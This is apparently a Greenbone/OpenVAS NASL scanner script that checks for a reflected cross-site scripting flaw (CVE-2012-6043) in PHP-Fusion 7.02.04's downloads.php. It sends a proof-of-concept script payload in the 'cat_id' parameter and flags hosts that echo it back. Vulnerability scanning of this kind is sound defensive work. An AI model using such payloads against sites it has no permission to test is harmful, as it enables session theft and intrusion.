PHP-Fusion 'cat-id' XSS Vulnerability

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:php-fusion:php-fusion";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803221");
  script_version("2023-10-27T05:05:28+0000");
  script_cve_id("CVE-2012-6043");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2013-02-01 10:26:58 +0530 (Fri, 01 Feb 2013)");

  script_name("PHP-Fusion 'cat-id' XSS Vulnerability");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("secpod_php_fusion_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("php-fusion/detected");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/51365");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/view/108542/phpfusion70204-xss.txt");

  script_tag(name:"insight", value:"The flaw is due to input passed via the 'cat_id' parameter to
  'downloads.php' is not properly sanitized before being it is returned to the user.");

  script_tag(name:"solution", value:"Apply the patch or upgrade to 7.02.05 or later.");

  script_tag(name:"summary", value:"PHP-Fusion is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to insert arbitrary HTML and
  script code, which will be executed in a user's browser session in the
  context of an affected site when the malicious data is being viewed.");

  script_tag(name:"affected", value:"PHP-Fusion version 7.02.04");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE ) )
  exit( 0 );

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

url = dir + '/downloads.php?cat_id="<script>alert(document.cookie)</script>';

if( http_vuln_check( port:port, url:url, check_header:TRUE, pattern:"<script>alert\(document\.cookie\)</script>" ) ) {
  report = http_report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );